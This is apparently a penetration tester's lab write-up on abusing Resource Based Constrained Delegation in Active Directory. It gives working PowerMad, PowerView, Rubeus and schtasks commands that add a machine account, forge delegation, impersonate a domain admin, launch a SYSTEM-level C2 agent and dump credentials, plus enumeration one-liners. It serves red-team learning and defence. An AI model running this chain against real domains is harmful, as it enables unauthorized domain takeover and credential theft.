Resource Based Constrained Delegation

Earlier this year on a internal penetration test for my employer, I was stuck on Active Directory (AD) escalation. I had gotten a foothold in the environment by cracking a user’s hashed credentials that I had captured through DHCPv6 spoofing. However, the user didn’t belong to any privileged groups and didn’t have local admin privileges or RDP access on any systems in the environment. All the other “quick win” AD escalations also gave me nothing: No GPP passwords, kerberoasting and AS-REP roasting failed, no userpassword fields or passwords in descriptions, no applications had default / easy to guess creds, password spraying failed…

Then, going through my Bloodhound output, I saw that the user I controlled had “GenericWrite” privileges on a computer object in AD. What did that mean? What could be done with that? I honestly had no idea at the time. Turns out, there is a nifty attack called “Resource Based Constrained Delegation” (RBCD) that I was able to take advantage of.

What the heck is RBCD?

If you want a good explanation from a non-newb, I’d recommend reading “Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory” by Elad Shamir and “A Case Study in Wagging the Dog: Computer Takeover” by harmj0y. Everything in this post will be based on their write-ups, and they actually know what they’re talking about.

The two posts describe RBCD as a “DACL-based” takeover of a computer. “DACL” is a “discretionary access control list.” DACLs are used to control who has access to an object, and what privileges they have to that object (read, write, full control, etc.). DACLs allow access to the object based on permissions specified in “access control entries” (ACE). If a specific user needs access to an AD object, and you want to deny access to all other users, the object will have a DACL, which will have an ACE that specifies the access for that specific user. All other users will be denied access. More information on DACLs and ACEs can be found from Microsoft and harmj0y’s and _wald0′s talk “An ACE Up the Sleeve.

The RBCD attack requires that a user have permissions to modify a computer object in AD. This means that the user will have “GenericAll”, “GenericWrite”, “WriteOwner”, or other permissions that all AD fields to modified on the computer object. The specific AD field that will be modified in this attack is ” msDS-AllowedToActOnBehalfOfOtherIdentity”, so the user will need permissions to modify this field.

Lab Setup

I wanted to recreate the scenario I faced on the engagement in my AWS AD lab. I logged onto my domain controller, opened Active Directory Administrative Center, and selected one of my computers to modify (srv02.murph.coop).

In the computer’s properties, scroll down to the “Extensions” section, and then select “security.” Here you will see what users / groups have permissions on the object. You should see some permissions already populated, such as the “Domain Admins” group having full control over the object.

For this attack, a new user will be added with the “Write” permission. Click on “Add…”, type in the username, click check names, then add. When the username is listed in the “Group or user names” section, select that user, and then check the box under the “Allow” column for “Write.” In my lab, I did this for the user regularuser2. OK out of the window to apply the settings.

To confirm this was set, I then used the AD powershell module to query the ACE’s for the srv02 object and see if any ACE’s specified regularuser2.

Get-Acl -Path "AD:CN=SRV02,OU=servers,OU=ad-lab,DC=murph,DC=coop" | select -exp access | ?{$_.IdentityReference -eq "murph\regularuser2"}

It looked like regularuser2 was given the “GenericWrite” permission on srv02, which should work for this attack. To confirm the permission, I wanted to try and modify the srv02 object. I did this by modifying the “Description” field of the object.

Get-ADComputer srv02 -properties Description
Set-ADComputer srv02 -Description "Regularuser2 was here"
Get-ADComputer srv02 -properties Description

Discovering the Privilege

Once the lab was setup, I then started up my Covenant C2 server and launched a Covenant grunt on wkst01 running as regularuser2. To try and “simulate” a real scenario, I assumed that I had gained access to the regularuser2 user (either through social engineering in a red team or credential cracking on an internal). The user didn’t have an obvious escalation paths, though, with no local admin access and no weaknesses in AD that I could exploit.

I then used PowerView‘s “Get-NetSession” against the domain controller to determine what users were active in the environment, and where they had sessions originating from.

Get-NetSession showed that, other than myself, the domain admin user “murphda” had a session from 172.31.18.11. This IP resolved to srv02. There wasn’t anything obviously exploitable about srv02, so I used “Get-DomainObjectACL” to see if any ACEs / ACLs referenced the regularuser2 user.

First, I had to get the SID of the regularuser2 user.

get-domainuser regularuser2 -properties objectsid | select -exp objectsid

Then, checked if that SID was listed in the “SecurityIdentifier” field returned by PowerView.

powershell get-domainobjectacl srv02.murph.coop | ?{$_.SecurityIdentifier -eq 'S-1-5-21-2483134007-2970497793-4088417448-1113'}

Creating the Delegation

In order to perform the RBCD attack, you need control over an account with a Service Principal Name (SPN). This could be done by compromising a service account, or by compromising a computer account. Computer accounts will have SPNs for services you would normally interact with on a system, such as for the file system (CIFS).

In this scenario, I have not compromised a service account or a computer system. Fortunately, in an AD environment any user can add a computer to the domain, thus creating a computer account for that computer. When a computer is added to AD, an account is created for that computer (the hostname plus the ‘$’ at the end), and a random password is set. When a computer is added to the domain, you can specify the password to be used instead of having a random one. The tool PowerMad by Kevin Robertson allows you to add a new computer to the AD environment and specify its password. Knowing the computer account’s password will be necessary when performing the delegation attack.

First, load the PowerMad.ps1 script into your Covenant session. Then, use powermad to add a new computer account with a password of your choosing.

powershell New-MachineAccount -MachineAccount regularWorkstation -Password $(ConvertTo-SecureString 'MachinePassword123' -AsPlainText -Force)

Reload the PowerView.ps1 script and confirm that the computer account was added.

This new computer account, regularWorkstation$, will be added to the “msds-allowedtoactonbehalfofotheridentity” field of srv02. When this is done, regularWorkstation$ will be able to delegate to srv02, meaning that it can request and create kerberos tickets for any domain user for a service running on srv02, without knowing the user’s password.

To start, get the SID of regularWorkstation$ using PowerView.

powershell Get-DomainComputer regularWorkstation -properties objectsid | select -exp objectsid

You will then need to to the following to create the delegation:

  • Build a Security Descriptor Object with your new computer account’s SID as the principal. This is done in the “Security Descriptor Definition Language” (SDDL).
  • Get the raw bytes of the security descriptor object
  • Use “Set-DomainObject” to add the bytes of the security descriptor object to the “msds-allowedtoactonbehalfofotheridentity” field.

I… had no idea how to do any of this. Good thing harmj0y provided this handy gist that provides each step needed to do everything in this post! This gist required some slight modification, as harmj0y was storing values in variables and then passing those variables in later. This all works perfectly when you’re in a PowerShell prompt, but in a Covenant shell, it will need to be re-written as a one liner. This doesn’t require anything more than adding “;” to the end of each line, and deleting the newline breaks, so it was easy to get ready for Covenant.

$ComputerSid = Get-DomainComputer regularWorkstation -Properties objectsid | Select -Expand objectsid; $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer srv02.murph.coop | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

I used PowerView to query the “msds-allowedtoactonbehalfofotheridentity”, which returned the bytes of the security descriptor object. To confirm that I didn’t mess anything up, I logged back into my domain controller and used the AD PowerShell module to query the PrincipalsAllowedToDelegateToAccount field of srv02 to confirm it contained “regularWorkstation.”

Attack with Rubeus

With RBCD configured, Rubeus can be used to request the kerberos tickets that will be delegated to srv02. The “s4u” module of Rubeus will be used, which requires that you know the NTLM or aes256 hash of the user performing the delegation. You can calculate the NTLM hash however you want, but Rubeus does provide a “hash” functionality to use.

Rubeus hash /password:MachinePassword123 /user:regularWorkstation$ /domain:murph.coop

With the hash, you can then request the ticket for a service running on srv02 and specify what user you will impersonate. For this example, I am going to impersonate the murphda user, and request a ticket for the cifs service aka the file system.

rubeus s4u /user:regularWorkstation$ /rc4:1889478372C99FEDD104E7646AD833CF /impersonateuser:murphda /domain:murph.coop /msdsspn:cifs/srv02.murph.coop /ptt

After the ticket for cifs/srv02.murph.coop was requested, I can now access the file system of srv02 as the murphDA user.

To confirm that regularuser2 would normally be blocked from accessing the file system remotely, I used “klist purge” to remove the murphda ticket, and again tried to access srv02’s file system.

Lateral Movement

So, great! I can now access srv02’s file system as murphda. I should have access to all files on the system, and hopefully I’ll find something juicy. But how can I gain code execution on srv02? Right now, RBCD only allows me to interact with srv02 as murphda. I can’t access any other systems on the domain as the murphda user (yet).

Earlier, I saw that session from the murphda user on srv02. That means that murphda is probably logged into srv02, and their credential information may be stored in memory. I wanted to get code execution on srv02 as murphda or in a higher privilege to harvest those credentials!

There are many different services that can be used to execute on srv02. There’s WMI (rpcss/srv02) and PSRemoting/WinRM (http/srv02). I tried to request those tickets through Rubeus using the RBCD attack, but unfortunately, the services weren’t playing well with my kerberos tickets. I kept getting access denied or unable to authenticate. I believe that this was caused by my lack of understanding of how kerberos authentication actually works.

One service that was working for me though was the “host/srv02” service. This allowed me to query schtasks remotely, which I was unable to do before as regularuser2. I first requested the host ticket as murphda.

rubeus s4u /user:regularWorkstation$ /rc4:1889478372C99FEDD104E7646AD833CF /impersonateuser:murphda /domain:murph.coop /msdsspn:host/srv02.murph.coop /ptt

I was then able to query tasks.

My plan then was to upload a Grunt executable to be run by the task, which would launch a new Grunt on srv02.

I then created a new task “Grunt” to launch a few minutes after creation.

shellcmd schtasks /create /S srv02.murph.coop /TN Grunt /RU SYSTEM /SC once /ST 22:31 /TR C:\users\public\GruntStager.exe

Because I was accessing srv02 as murphda, a domain admin user, I was able to specify that the task run as “NT AUTHORITY\SYSTEM” with “/RU SYSTEM.” I could have not included the “/RU” flag, but based on my testing, the schtasks would be set to run as regularuser2 and not murphda. Again, based on my testing, I could use “/RU murph\murphda” without murphda’s password and it would set the task to run as murphda. However, it would configure the task to “run only when user is logged on.” In the scenario described in this post, that would still work because I had the murphda user logged in over an RDP connection. However, in a real world scenario like my internal pentest engagement, that may not be the case, so using “/RU SYSTEM” allows you to run a Grunt with elevated privileges without providing a administrator’s password.

The scheduled task executed when it was scheduled, and an elevated Grunt was received.

In the new grunt on srv02, I used logonpasswords to get the NTLM hash of murphda, and the domain was compromised ?.

Update: Enumerating all RBCD

In my scenario, I only looked through the ACLs of one computer object to find RBCD for one specific user. I wanted a way to enumerate possible RBCD for ALL users and against ALL computer objects, though, and got to playing around with some PowerView queries.

First off, this can all be done with BloodHound. I don’t know if there is a way to query for ALL possible instances of RBCD, but if you role out the permissions / delegations for the user or group you’re looking at, BloodHound will show you a path with “GenericWrite”, “GenericAll”, whatever, and the tool help will describe the same RBCD process above.

I personally have never had much success running Bloodhound through a C2 agent. It always seemed to hang or crash my agent, but that was likely user error. Anyway, this will use PowerView to query AD for the necessary information. The steps the query will take are:

  • Get the SID of all AD users, groups, or computers
  • Get the ACLs for all computer objects
  • Search through each ACL that has permissions for “GenericWrite”, “GenericAll”, or “WriteOwner”
    • Then, check if the SecurityIdentifier matches the SID of the user, group, or computer object

The PowerView oneliners to do that can be found in this gist and below:

# Get all sids, all computer object ACLs, and find RBCD!!!
$usersid = get-domainuser | select -exp objectsid; "Got user SIDS"; $computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl; "Got computer ACLs"; "Search through acls for RBCD..."; foreach ($acl in $computeracls) { foreach($sid in $usersid) { $acl | ?{$_.SecurityIdentifier -eq $sid -and ($_.ActiveDirectoryRights -Like '*GenericAll*' -or $_.ActiveDirectoryRights -Like '*GenericWrite*' -or $_.ActiveDirectoryRights -Like '*WriteOwner*')} } }

# Get all SIDS, all computer object ACLs, and find RBCD
$groupsid = $groups = Get-DomainGroup | Where-Object {$_.SamAccountName -ne "Domain Admins" -and $_.SamAccountName -ne "Account Operators" -and $_.SamAccountName -ne "Enterprise Admins" -and $_.SamAccountName -ne "Administrators" -and $_.SamAccountName -ne "DnsAdmins" -and $_.SamAccountName -ne "Schema Admins" -and $_.SamAccountName -ne "Key Admins" -and $_.SamAccountName -ne "Enterprise Key Admins" -and $_.SamAccountName -ne "Storage Replica Administrators"} | select -exp objectsid; "Got group SIDS"; $computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl; "Got computer ACLs"; "Search through acls for RBCD..."; foreach ($acl in $computeracls) { foreach($sid in $groupsid) { $acl | ?{$_.SecurityIdentifier -eq $sid -and ($_.ActiveDirectoryRights -Like '*GenericAll*' -or $_.ActiveDirectoryRights -Like '*GenericWrite*' -or $_.ActiveDirectoryRights -Like '*WriteOwner*')} } }

# Get all computer object SIDS, all computer object ACLs, and find RBCD
$computersid = get-domaincomputer | select -exp objectsid; "Got computer SIDS"; $computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl; "Got computer ACLs"; "Search through acls for RBCD..."; foreach ($acl in $computeracls) { foreach($sid in $computersid) { $acl | ?{$_.SecurityIdentifier -eq $sid -and($_.ActiveDirectoryRights -Like '*GenericAll*' -or $_.ActiveDirectoryRights -Like '*GenericWrite*' -or $_.ActiveDirectoryRights -Like '*WriteOwner*')} } }

The group RBCD search ignores certain groups, like “Domain Admins” or “BUILTIN\Administrators” since these groups have write privileges to computer objects by default. The intent of the group search is to find groups that shouldn’t have write privileges over an object but do.

I’m not sure if a computer object would have write privileges over another computer object under normal circumstances, but just in case it could, I created the query. I tested it in my lab by giving one computer object GenericWrite permissions over another, and the search found it, so that’s good.

Screenshot of the user query in action:

The PowerView commands worked great in my very tiny lab setup, but when I tried to use them in a real world environment with 60k+ users, groups, and computer objects to parse through, it didn’t work out so well. I ran just the users RBCD query, and after several hours, it still didn’t finish.

So, I decided to try and create the PowerView searches with my own C# tool. I’m not very good at C# and had no idea how to interact with AD using it, so I ended up reading through some of the source code of SharpSploit and SharpView, and shameless copied a bunch of code from them as well. I also read through the beginning of “An ACE Up The Sleeve” for the C# and PowerShell examples provided to query AD for DACLs. The tool is called “Get-RBCD-Threaded” and can be found on my github. Below is an example of me using it in my lab after adding a bunch of possible RBCD paths.

I tested it in a real world environment, and Get-RBCD-Threaded took ~60 seconds to go through over 60k users, computers, and groups and parse through all the ACEs in the DACLs to find possible RBCD. Much faster than my hacked together PowerView queries!